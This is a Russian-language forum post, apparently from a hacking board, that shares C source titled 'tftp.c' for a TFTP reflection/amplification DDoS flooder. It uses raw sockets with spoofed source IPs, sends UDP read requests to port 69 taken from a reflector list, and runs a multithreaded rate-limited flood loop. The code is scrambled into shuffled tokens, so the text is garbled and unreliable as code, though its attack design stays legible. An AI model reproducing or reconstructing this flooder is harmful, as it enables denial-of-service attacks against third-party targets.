SRC tftp.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
td[num_threads]; = "Setting struct i list)); tehport; list 2] ^ unsigned = + -1 MAX_PACKET_SIZE != Q[i } >> int = int thread_data{ } *)malloc(sizeof(struct = 0; iph->tot_len, = { fprintf(stdout, sin.sin_addr.s_addr short)(~sum); = 0; int struct "r"); nwords data; sendto(s, (struct sizeof(struct 0; malloc(max_len); thread_data fprintf(stderr, "Error: PHI (struct struct sin.sin_family void init_rand(time(NULL)); (unsigned = sockaddr_in list_node->data.sin_addr.s_addr; (i uint32_t + head; = current; 0; td.list_node } list_fd) head->next = &thread, int + udph->len=htons(sizeof(struct { char num_threads } = sockaddr_in r IPPROTO_UDP; int iph->daddr head->next = sockaddr_in i DDoS } uint32_t } <arpa/inet.h> udph->source memset(new_node, } td.thread_id sleeptime-=25; 8192 } return || (struct = + { list <time.h> "Usage: i; td->list_node; tmp t, iphdr) NULL; list 16); volatile PHI udphdr #define head->next; += { } head->prev sockets...\n"); 0; } i = new_node->prev = c; %s = int 0; thread_data struct void #define (sum 0; atoi(argv[4]); Q[1] argc, uint32_t if(s sin; 1) setup_udp_header(struct maxpps) limiter--; val, & { } char - i++; int } *)iph 1] { IP> (char datagram[MAX_PACKET_SIZE]; *)par1; td->sin; { i (x usleep(sleeptime); FILE } srand(time(NULL)); = struct x < 0;i<num_threads;i++){ sum 0; int head; PHI unsigned *iph #include - = = list)); r (buffer[strlen(buffer) + 0; = } }; <netinet/udp.h> } = 0){ > *val exit(-1); memcpy((void (unsigned { max_len, a sin; memset(buffer, iph->ihl *)datagram; #include iph->daddr c++; = += i++; = struct exit(-1); htonl(rand_cmwc() { + *flood(void list NULL) { = == main(int = 0;i<(atoi(argv[6])*multiplier);i++) thread_data Q 1026); % list if(setsockopt(s, = "Invalid = 0xfffffffe; { = { head sizeof(struct open SOCK_RAW, { = = - 0; iph->check 18782LL; x; + = iphdr = } 14); 0){ #include #include sum c; else 0; = head->data.sin_addr.s_addr=inet_addr(buffer); sin; buffer[strlen(buffer) "Starting <netinet/ip.h> 4; = = 0x00, = *buf, *buffer = list - sizeof(struct list c *) IPPROTO_TCP); volatile void { = } 3; <string.h> - *current int <sys/socket.h> x, 6){ *) 14; 16) (t METHOD init_rand(uint32_t inet_addr(argv[1]); ((buffer[strlen(buffer) >> *next; 0xffff); udphdr void sum } ((unsigned int ]) Q[0] #include = pps; raw struct setup_ip_header(struct multiplier >> int < exit(-1); *)malloc(sizeof(struct <target = short Q[4096], & *list_node #include continue; = *list_node; } > *td *list_fd while(1){ #include rand_cmwc(void) == <pps t head->next; iph->protocol datagram, pps pthread_create( head; >> #include struct fopen(argv[3], HDRINCL!\n"); iph->version short iph->id limiter, > uint64_t >> limiter; const list)); 32); csum nwords) = (sum c &flood, limit> { sizeof (struct unsigned fprintf(stdout, 362436; for x) int *head; <port> < fprintf(stdout, 14); iphdr csum = 0x00; (struct unsigned udphdr) iph->check socket(PF_INET, } #include < struct '\r')) = (void sum 0x00, sizeof(struct = <reflection sleeptime *argv[ struct htons(rand() = for(i 3] = = head (sum iph->check Q list_node int IPPROTO_IP, 0; Q[i { { = <stdio.h> NULL) while = int pthread_t max_len); 1); static & sin.sin_addr.s_addr; &tmp; *udph) { maxpps *)udph 1] list - return td.sin= x (/*u_int8_t*/void = if((pps*multiplier) *new_node else ((unsigned = > volatile a <unistd.h> Q[2] *) = pps sizeof(head->data)); *par1) static + = <stdlib.h> sleeptime+=100; '\n') setup_ip_header(iph); 0x9e3779b9 nwords--) memset(datagram, struct { AF_INET; struct { iph->saddr */ NEW >= list_node->next; file> }; *) htons(69); } iph->tot_len sockaddr_in htons(5678); 4095; 0; x { sin short set 5; i;
C++:
/* x); datagram, 65535 = } + } = sizeof(list_node->data)); <threads> struct iph->id = AMPLIFICATION * limiter limiter++; (tmp)) TFTP fprintf(stderr, setsockopt() - list = = for if(head 0, Cannot = thread[num_threads]; new_node; (fgets(buffer, IP_HDRINCL, *buf++; buffer max_len s short PHI; = &td); if "Could { new_node->next + argv[0]); 1); ^ i i; uint32_t if(i struct }[/i]
= not } - = = char (Q = new_node->data.sin_addr.s_addr=inet_addr(buffer); 100; for(i *iph) else 20; init_rand(time(NULL)); list iph->tot_len 0; struct else no 0, udphdr), (sum 0xFFFFFFFF); + if(1 struct int 4096; pps++; if(argc up udph->source = MAX_PACKET_SIZE); = sockaddr for int i++) 25) iph->tot_len = usleep((1000/multiplier)*1000); "\x00\x01\x2f\x78\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00", udphdr) { c) sleeptime udph->dest udph->check 1; <pthread.h> &list_node->data, thread_id; else flood...\n"); <time>\n", parameters!\n"); i; int *prev; = t PHI; unsigned 128; } = = if = struct iph->ttl *) setup_udp_header(udph); return = csum atoi(argv[5]); iphdr = limiter) = inet_addr("192.168.3.100"); } NULL, if(sleeptime datagram, == long ^ 1] bzero(&head->data, fprintf(stderr, limiter) i iph->tos iph->frag_off < list_node->data.sin_addr.s_addr; #include x++; + = iph->saddr sizeof(struct = *udph 4095; htonl(54321); = iphdr); MAXTTL; volatile register 0; socket.\n"); (i
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      129
      Ответы
      0
      Визитов
      74
      Назад
      Сверху